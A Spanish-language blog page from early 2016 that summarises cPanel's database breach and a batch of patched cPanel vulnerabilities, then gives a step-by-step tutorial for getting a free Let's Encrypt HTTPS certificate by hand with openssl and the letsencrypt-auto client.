El pasado fin de semana cPanel confirmó un ataque sobre una de sus bases de datos y aunque había detenido la intrusión, anunciaba la posibilidad de que determinada información hubiera quedado expuesta. Según la compañía la información comprometida estaba limitada a nombres, información de contacto y el Hash (con SALT) de las contraseñas. 

En cualquier caso confirmaba que la información de las tarjetas de crédito se encuentra almacenada en un sistema independiente diseñado para guardar las tarjetas de crédito y no se ve afectada por este ataque. cPanel anuncia un cambio a un sistema de cifrado de contraseñas más robusto y forzará a todos los usuarios a cambiar su contraseña. 

Por otra parte, pocos días después de este anuncio la compañía publica un aviso en el que se corrigen un total de 20 vulnerabilidades. aunque no está confirmada ninguna relación entre la intrusión y estas vulnerabilidades. 

Los problemas residen en ejecución de comandos arbitrarios debido a que no se filtra adecuadamente el directorio de trabajo actual ('.') de rutas cargadas desde la librería de módulos Perl, modificación de archivos arbitrarios durante la modificación de cuentas mediante enlace simbólico, lectura arbitraria de archivos a través de script bin/fmq y scripts/fixmailboxpath, inyección SQL en bin/horde_update_usernames, ejecución de código arbitrario a través de manipulación de archivos temporales o revelación de hashes de contraseñas por los scripts bin/mkvhostspasswd y chcpass

También se han corregido problemas como que llamadas JSON-API permiten a cuentas cPanel y Webmail la ejecución de código mientras se ejecutan con privilegios de cuentas de usuario compartidas, lectura de archivos arbitrarios a través de bin/setup_global_spam_filter.pl y scripts/quotacheck, sobreescritura de archivos arbitrarios a través de scripts/check_system_storable y cambios arbitrarios de permisos de archivos (chown/chmod) durante el proceso de conversión de bases de datos para Roundcube. 

Más vulnerabilidades corregidas podrían permitir la ejecución de código arbitrario a través descripts/synccpaddonswithsqlhost, cambios de permisos de archivos a través de scripts/secureit y cross-site scriptings en WHM y en X3 y ejecución de código arbitrario sin necesidad de autenticación a través de cpsrvd. 

Todas estas vulnerabilidades se han corregido en las versiones de cPanel: 11.54.0.4, 11.52.2.4, 11.50.4.3, 11.48.5.2. 

lunes, 1 de febrero de 2016

Tutorial certificado HTTPS GRATIS!

Este dia les traigo lo mejor de lo mejor, hace algo más de una semana, LetsEncrypt, una iniciativa de la EFF (Electronic Frontier Foundation), anunció su nueva herramienta la cual promueve el uso e instalación de certificados de forma gratuita. Bueno, ya en las charlas de mi git se hablo de esto, pero todavía estaban en pañales y bueno ahora está en beta.


Haré una breve introducción del porque es una gran iniciativa que realmente está orientando el control de internet hacia nosotros, los usuarios, ya que la privacidad ahora está de nuestra parte.



INTRODUCCIÓN:

HTTPS se basa en la utilización de PKI + SSL/TLS. A través de estos estándares podemos garantizar la integridad, confiabilidad y la autenticidad de la conexión pertinente, gracias a la criptografía de clave pública y a los . No os quiero aburrir con tecnicismos, pueden pedirme si quieren un tutorial extendido sobre criptografía asimétrica, TLS, PKI y certificados.

Cuando uno se conecta a una Web mediante HTTPS se realiza una negociación de claves para establecer una conexión segura, uno de los pasos de esta negociación tiene que ver con el certificado. Éste sólo es válido si ha sido firmado por una entidad certificadora (CA), y estas entidades obviamente cobran por certificado emitido, y sí, son cantidad muchas veces desorbitadas.

Gracias a la iniciativa LetsEncrypt podemos obtener un certificado de manera gratuita. ¿Pero, el certificado ya será válido? Sí, al 100%, puesto que el mismo es firmado por una CA de confianza (IdenTrust CA). ¿Y no pierden dinero las otras CA (competencia)? Sí, pero dar este paso era fundamental para retomar el control sobre nuestra privacidad.

Resumiendo, lo que quiero que entenderemos es que podemos proteger el tráfico de vuestras Webs personales de ataques Man-In-The-Middle (MITM) sin gastar vuestro dinero en certificados costosos que para colmo hay que pagar por cada renovación del mismo. Esto supone una gran patada al gran hermano amigos.

INSTALACIÓN

Primero, remarcar que la herramienta sólo es empleable por ahora en GNU/Linux, preveen portar la pronto a Windows, pero como bien dije todavía están en Beta.

Para los interesados estoy utilizando CentOs. Abrid vuestra terminal, situarse en el directorio que que quieran, descargalo mediante el cliente de git de la siguiente forma y acto seguido lunch el cliente letsencrypt-auto para que instale las dependencias auxiliares necesarias (OJO: necesitaras permisos de root):

$ git clone https://github.com/letsencrypt/letsencrypt
$ cd letsencrypt
$ ./letsencrypt-auto
Si no pueden correr el cliente letsencrypt-auto prueben a ejecutarlo de la siguiente forma:
$ ./letsencrypt-auto --debug (esto sucede con versiones de Python obsoletas/antiguas.)

USO DE LA HERRAMIENTA

Aquí les explicare el método manual, el cual consiste en generar un par de claves pública/privada además del CSR. El CSR (Certificate Signing Request) es el archivo que contiene la información de nuestra entidad, dominios a proteger, algoritmos de firma digital y nuestra clave pública, que será enviado mediante el cliente de LetsEncrypt a su entidad certificadora (CA) para que nos lo firme y nos devuelva un certificado SSL/TLS.

Existen métodos automatizados que facilitan la obtención del certificado sin tanto rodeo, interesados -> https://letsencrypt.org/howitworks/

les aviso de antemano que encontraran MUY POCA info del método manual, todo lo que les voy a explicar a continuación es una recopilación de mi esfuerzo y horas invertidas en este proceso.

Primero generamos nuestro par de claves pública/privada junto al CSR, todo a la vez. En este comando incluiremos la información personal del sitio así como los dominios a proteger:

openssl req -new -newkey rsa:2048 -sha256 -nodes -keyout privkey.pem -out signreq.der -subj "/C=SP/ST=BI/O=NoLucro,S.A./CN=dominio.com" -outform der -reqexts SAN -config <(cat /etc/pki/tls/openssl.cnf <(printf "[SAN]\nsubjectAltName=DNS:dominio.com,DNS:www.dominio.com,DNS:subdominio.com,DNS:www.subdominio.com"))

Os explico los parámetros:

-newkey: Genera un par de claves, en este caso RSA 2048 bit. También soporta 4096 bit.
-sha256: Algoritmo empleado para la verificación de la firma digital del certificado. Recordad, SHA-1 se considerá inseguro.
-nodes: La clave privada no será cifrada mediante criptografía simétrica.
-keyout: Archivo donde se guardará la clave privada, su contenedor es del tipo .pem.
-out: Archivo donde se guardará el CSR, IMPORTANTÍSIMO que sea .der pues LetsEncrypt no soporta .pem para el CSR.
-subj: Información personal del dueño de nuestra Web (nosotros). "C" es Country (país, 2 letras, SV=El Salvador), ST (ciudad, ¿2 letras?, ST=Santa Tecla), O (organicación), CN (dominio de la web).
-outform der: Como ya he dicho, este comando es fundamental para convertir el CSR en formado .der para que sea reconocible por LetsEncrypt.
-reqexts: Nos permite espicificar más de un dominio para el certificado, así un mismo certificado sirve para varios dominios/subdominios.
SAN: Subject Alter Name, campo del CSR donde podemos especificar más de un dominio, como ya he dicho previamente. Importante incluir los dominios sin www y con www, además de incluir el dominio del campo "CN".

Si todo va bien obtendremos el siguiente output al ejecutar el comando:

Generating a 2048 bit RSA private key
.........................................................................................+++
....................................................+++
writing new private key to 'privkey.pem'
-----


Ahora que tenemos el CSR, necesitamos que la entidad certificadora (CA) de LetsEncrypt nos lo firme con su clave privada, bueno, realmente firma el SHA256 de nuestro certificado y lo incluye en un nuevo campo, y ese resultado es lo que conocemos por certificado x509v3 o certificado SSL/TLS.

Para ello ejecutamos el cliente de LetsEncrypt de la siguiente forma:

./letsencrypt-auto certonly --authenticator manual --email vuestro@email.com --csr signreq.der --text --debug

Bueno no nos preocupemos de la cascada de datos que se muestra en pantalla. Llegará un punto en el que el cliente se detenga y nos pregunte si le das consentimiento para almacenar nuestra IP, por seguridad, aceptamos y estariamos en la siguiente fase, donde tendremos que probar a LetsEncrypt que somos los dueños de los dominios pertenecientes al CSR. Obtendremos algo como:

Make sure your web server displays the following content at
http://www.dominio.com/.well-known/acme-challenge/XU61P5E-sEefZB5vjllHeQWRpkDs2G_AvlxitI6hOIQ before continuing:

XU61P5E-sEefZB5vjllHeQWRpkDs2G_AvlxitI6hOIQ.BON7JEeVn9miBfADQ34eQIcUTsSTVsHRQqCeXuVUGVs


Simplemente nos dicen que creemos el directorio .well-known/acme-challenge en el directorio raíz de nuestro servidor. Una vez creado, en este ejemplo, crearemos el archivo XU61P5E-sEefZB5vjllHeQWRpkDs2G_AvlxitI6hOIQ con la siguiente cadena dentro XU61P5E-sEefZB5vjllHeQWRpkDs2G_AvlxitI6hOIQ.BON7JEeVn9miBfADQ34eQIcUTsSTVsHRQqCeXuVUGVs. Cuando hayamos terminado visita la URL en nuestro navegador para cerciorarnos de que la cadena es visible. Una vez completado el proceso presionad ENTER en la terminal donde estemos ejecutando el cliente LetsEncrypt.

nos daremos cuenta que las cadenas de arriba son un ejemplo, además tendremos que repetir este proceso por cada dominio especificado en el apartado SAN del CSR, ya que por cada dominio tendremos que probar a LetsEncrypt que somos nosotros sus respectivos dueños.

Si la verificación del challenge ha sido satisfactoria obtendremos un mensaje como este:

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at
   /home/kub0x/letsencrypt/0001_chain.pem. Your cert will expire on
   2016-03-10. To obtain a new version of the certificate in the
   future, simply run Let's Encrypt again.


Felicidades, ya tenemos nuestro propio certificado gratuito firmado por una entidad de confianza, por lo que nuestro certificado es válido en cualquier plataforma, navegador etc. El siguiente paso se lo dejo a ustedes. Si tenemos apache simplemente modificamos nuestra configuración de VirtualHosts e indicar donde está la clave privada, el certificado que habemos obtenido y la certificate chain, pues sin esta última es imposible verificar que el certificado fue emitido por LetsEncrypt.

PROS:

- Certificado válido bajo cualquier plataforma y firmado por una entidad de confianza (CA), ya que LetsEncrypt delega en IdenTrust, CA (trust-anchor) confiada por todo tipo de plataformas. + info sobre la CA en: https://letsencrypt.org/certificates/
- Renovación del certificado gratuita.
- Dentro de poco implementarán la emisión de certificados mediante la prueba de DNS, junto a la previamente expuesta basada en HTTP.

CONTRAS:

- Se encuentra en fase Beta, por lo que requiere de un conocimiento avanzado (según el modo de instalación) y no está para nada libre de bugs.
- Los certificados tienen que ser renovados cada cierto tiempo, es una política de seguridad para evitar que estén activos largos periodos de tiempo.
- En algunos hostings gratuitos o administrados es necesario deshabilitar el módulo de apache mod_security puesto que obtendremos un error "403 forbidden". En nginx ni idea.
- No se puede obtener un certificado de tipo WildCard, es decir, no emiten certificados del tipo *.dominio.com. por lo que debemos especificar en el campo SAN del CSR todos los dominios a proteger.
- Por ahora no tiene soporte en Windows.

Luego les hare un videotutorial realizando este tutorial ya que por el momento estamos cortos de tiempo por varios proyectos. 

saludos,